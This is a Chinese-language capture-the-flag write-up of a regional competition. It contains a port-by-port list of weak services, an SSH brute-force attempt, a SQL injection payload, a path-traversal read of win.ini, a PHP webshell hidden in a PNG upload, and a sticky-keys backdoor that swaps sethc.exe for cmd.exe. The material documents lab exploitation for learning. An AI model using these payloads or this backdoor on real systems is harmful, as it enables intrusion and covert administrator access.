CCTF(重庆绿盟杯)比赛writeUp

21-23-66.jpg

WEB1

靶机只扫描到22的ssh端口
那么思路只有一个,只能爆破

用的是一个SSH爆破工具SSH_Crack
百度云下载链接:https://pan.baidu.com/s/1qX9lyZM
然后下几个弱密码字典,放进去跑,然而并没有什么用
最后到结束也没跑出来,跑到怀疑人生。结束后问别队,他们说最后半小时出现了一个5984的端口

+21 ftp
+22 SSH
+23 Telnet
+80 web
+80-89 web
+161 SNMP
+389 LDAP
+443 SSL心脏滴血以及一些web漏洞测试
+445 SMB
+512,513,514 Rexec
+873 Rsync未授权
+1025,111 NFS
+1433 MSSQL
+1521 Oracle:(iSqlPlus Port:5560,7778)
+2082/2083 cpanel主机管理系统登陆 (国外用较多)
+2222 DA虚拟主机管理系统登陆 (国外用较多)
+2601,2604 zebra路由,默认密码zebra
+3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
+3306 MySQL
+3312/3311 kangle主机管理系统登陆
+3389 远程桌面
+4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
+5432 PostgreSQL
+5900 vnc
+5984 CouchDB http://xxx:5984/_utils/
+6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导>+致网站被直接篡改或者作为代理进入内网
+6379 redis未授权
+7001,7002 WebLogic默认弱口令,反序列
+7778 Kloxo主机控制面板登录
+8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
+8080 tomcat/WDCP主机管理系统,默认弱口令
+8080,8089,9090 JBOSS
+8083 Vestacp主机管理系统 (国外用较多)
+8649 ganglia
+8888 amh/LuManager 主机管理系统默认端口
+9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执>+行漏洞
+10000 Virtualmin/Webmin 服务器虚拟主机管理系统
+11211 memcache未授权访问
+27017,27018 Mongodb未授权访问
+28017 mongodb统计页面
+50000 SAP命令执行
+50070,50030 hadoop默认端口未授权访问

神坑!!!
至于5984端口的利用,就在此留个坑吧,有兴趣的可以查一下资料,本菜就不写了

毕竟在这题浪费了很多时间,再也不想看到这题,23333

WEB2

MSSQL注入

比赛当时我找到的是一个shop7z的一个通用注入pkid
因为是MSSQL的数据库,不允许limit,故使用order by修改表序列,是一个显式union注入
payload:

1
Union%0a/!5000SelECt/%0a12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8%0aMSysAccessObjects%0aorder%0aby%0a1

因为是MSSQL,我平时积累不多,且把@@version替换上面数字会出false的页面,就懵逼了
大早上没吃早餐,被雨淋,还被空调吹得晕乎乎的,就就此放弃琢磨了这一道MSSQL注入,说实话还是积累太少。

WEB3

一阶段——上传绕过

第一步扫描:

21-17-21.jpg

发现开了很多端口
其中3389和80和8080是我们特别关注的
进去80是一个IIS的建设中的页面,没啥挖掘的
8080是一个Apache搭的应用下载市场
AWVS扫描发现有用的目录遍历漏洞

21-21-28.jpg
有问题变量在模板参数tpl处

被设置为../../../../../../../windows/win.ini%00.jpg
21-21-47.jpg

科普

还是科普一下
../是DOS命令及linux的shell命令的上层目录的意思
windows/win.ini,可以对照一下你C盘的C:\windows\win.ini
是一个系统的配置文件
%00是截断符,../回溯至win.ini后将读取win.ini%00.jpg
因为windows的读取特性,后缀名.jpg会被截断,将会读取win.ini达到任意文件读取的目的
然后其他两名队友Jason&&Unk0wn发现有一个图片上传点,但是上传的文件会被改名成静态图像文件,并且上传会过滤PHP等解析格式
随后我就有一个大胆的想法(其实当时只是想死马当活马医)
对,就是用目录遍历漏洞包含图像,使得上传的被我插入一句话木马的静态文件解析成php

尝试

上传点过滤PHP后缀,截断以及该Content-Type无济于事,索性直接上传PNG文件,保留文件头和结束标记,在中间插入一句话
大概是这样子的

1
<?php system($_POST[1]);echo 1;?>

21-37-40.jpg

然后上传之后记录上传路径,将tpl改成静态png的路径。
大概是这样子的

21-40-49.jpg

毕竟环境已经关了,无法有更多详细的截图了,实在抱歉

随后发现Png被解析成php了,并且提示,system()由于某些安全原因被禁用了

随后就将一句话构造成这样

1
2
3
4
5
6
7
<?php
$a=$_POST[2];
echo $a."\n";
$b = scandir($a,1);
print_r($b);
phpinfo();
?>

同样上传图片,包含新图片路径
庆幸的是phpinfo()是可以执行的,我们将post数据构造成当前目录路径

1
POST_DATA: 2=getcwd();

执行后得到当前路径以及当前路径所有文件的名字,具体的路径没截图了,反正是C盘下的路径
以及当前目录下的flag_i4_H37e.txt文件
利用上面显示win.ini的方法,包含flag_i4_H37e.txt即可得到传马所得flag200分

分析

因为比赛是有三层靶机,而二层靶机是无法ping通的,所以应该是通过控制WEB3的主机,然后开启ip转发,使得我们能够继续渗透二层靶机。故我们接下来的思路是控制WEB3所在靶机

比赛宕机

发生了两次宕机,其中有一次长达半个多小时,比赛才6个小时欲哭无泪

比赛继续

通过phpinfo可以知道disable_functions=proc_open,passthru,exec,system,shell_exec,,popen
这些函数都被禁用了

proc_open()

  • 功能描述:执行一个命令并打开文件指针用于读取以及写入。

passthru()

  • 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。

exec()

  • 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。

system()

  • 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。

shell_exec()
-功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。

popen()

  • 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

那就十分尴尬了
我们能解析php但是并不能执行系统函数

3389 端口

由于WEB3是开了3389端口,而且我们又能执行php的大部分代码,故我又产生了一个大胆的想法

经典后门——粘滞键后门

  1. 通过php的copy()函数将C:\WINDOWS\system32\下的sethc.exe替换成cmd.exe
  2. 3389端口远程连接WEB3的靶机
  3. 狂按shift键,召唤出被替换成cmd.exe的程序sethc.exe

于是将一句换木马插入PNG图片的中间:

1
2
3
4
<?php
unlink("C:\\Windows\\system32\\sethc.exe");
copy("C:\\Windows\\system32\\cmd.exe","C:\\Windows\\system32\\sethc.exe");
?>

同样的,上传图片木马,包含路径->解析,然后3389连接WEB3靶机,狂按shift键

于是很惊喜地发现,cmd.exe被我们召唤出来了

此处图没有机会没保留

于是输入explorer.exe,回车,召唤出桌面来
DOS权限还是administrator的

通过浏览目录发现了桌面下的flag.txt,拿到了最后200分
由于本菜太愚钝,最后面几分钟才拿到这200分,真刺激

其实我们在构造shift之前我们已经能控制目录,浏览目录,直接找到桌面下的flag.txt了
但是要进入第二层靶机必须要控制WEB3的靶机
故这一步还是十分关键的
虽然后面没有时间用WEB3靶机代理继续渗透二层靶机(比赛完听大佬说二层靶机是wordpress的最近版还是挺难的),也不算太遗憾吧

至此比赛结束

总结

有以下几点:

  • 以后打比赛一定要吃早餐
  • 一定不能淋雨吹空调
  • 以及还是太菜,继续努力吧


----- 感谢阅读 -----